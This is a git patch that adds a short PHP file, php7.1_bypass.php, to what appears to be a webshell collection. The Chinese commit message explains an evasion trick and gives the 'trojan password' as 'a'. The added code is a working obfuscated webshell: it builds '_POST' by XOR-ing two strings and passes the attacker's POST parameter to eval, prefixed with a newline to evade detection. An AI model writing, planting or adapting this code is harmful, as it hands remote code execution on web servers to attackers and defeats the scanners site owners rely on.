From c290a06bc9d9351e46f7a821f1aaeb5e81f6c8b5 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Fri, 6 Dec 2019 18:33:51 +0800
Subject: [PATCH] Create php7.1_bypass.php
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from : https://www.anquanke.com/post/id/193787
参数$b的前面加上“n"就成功绕过了，当然同理，你也可以在参数$b的前面加上"\"、"\t"、"\r"等等也是可以绕过的。
在参数$b的前面加上"\n"，""、"\t"、"\r"等等也是可以绕过的。

木马密码：a
---
 php/php7.1_bypass.php | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 php/php7.1_bypass.php

diff --git a/php/php7.1_bypass.php b/php/php7.1_bypass.php
new file mode 100644
index 0000000..40272e3
--- /dev/null
+++ b/php/php7.1_bypass.php
@@ -0,0 +1,5 @@
+<?php
+    $a = "~+d()"^"!{+{}";
+    $b = ${$a}[a];
+    eval("n".$b);
+?>